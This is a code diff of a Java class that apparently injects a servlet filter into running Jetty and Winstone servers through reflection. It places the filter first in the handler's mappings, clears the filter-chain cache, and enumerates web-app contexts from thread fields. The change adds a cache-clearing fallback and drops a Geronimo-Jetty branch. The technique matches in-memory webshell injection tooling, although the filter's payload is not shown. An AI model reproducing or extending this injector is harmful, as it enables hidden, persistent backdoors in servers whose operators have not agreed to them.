|
6 | 6 | import java.io.PrintStream; |
7 | 7 | import java.lang.reflect.*; |
8 | 8 | import java.util.HashSet; |
| 9 | +import java.util.Map; |
9 | 10 | import java.util.Set; |
10 | 11 | import java.util.zip.GZIPInputStream; |
11 | 12 |
|
@@ -130,7 +131,16 @@ public void inject(Object context, Object filter) throws Exception { |
130 | 131 | } |
131 | 132 | newMappings[0] = filterMapping; |
132 | 133 | invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); |
133 | | - invokeMethod(servletHandler, "invalidateChainsCache"); |
| 134 | + try { |
| 135 | + invokeMethod(servletHandler, "invalidateChainsCache"); |
| 136 | + } catch (NoSuchMethodException e) { |
| 137 | + Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache"); |
| 138 | + if (_chainCache != null) { |
| 139 | + for (Map cache : _chainCache) { |
| 140 | + if (cache != null) cache.clear(); |
| 141 | + } |
| 142 | + } |
| 143 | + } |
134 | 144 | } |
135 | 145 |
|
136 | 146 | @Override |
@@ -176,29 +186,14 @@ public Set<Object> getContext() throws Exception { |
176 | 186 | try { |
177 | 187 | Object target = getFieldValue(thread, "target"); |
178 | 188 | if (target != null && target.getClass().getName().contains("winstone.Launcher")) { |
179 | | - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); |
180 | | - java.util.Iterator _it3 = hostConfigs.values().iterator(); |
181 | | - while (_it3.hasNext()) { |
182 | | - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); |
| 189 | + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); |
| 190 | + for (Object o : hostConfigs.values()) { |
| 191 | + Map apps = (Map) getFieldValue(o, "webapps"); |
183 | 192 | contexts.addAll(apps.values()); |
184 | 193 | } |
185 | 194 | } |
186 | 195 | } catch (Throwable ignored) { |
187 | 196 | } |
188 | | - |
189 | | - // Geronimo-Jetty |
190 | | - try { |
191 | | - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); |
192 | | - java.util.Iterator _it2 = map.keySet().iterator(); |
193 | | - while (_it2.hasNext()) { |
194 | | - Object object = _it2.next(); |
195 | | - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { |
196 | | - contexts.add(getFieldValue(object, "webAppContext")); |
197 | | - } |
198 | | - } |
199 | | - } catch (Throwable ignored) { |
200 | | - } |
201 | | - |
202 | 197 | } |
203 | 198 | return contexts; |
204 | 199 | } |
|
0 commit comments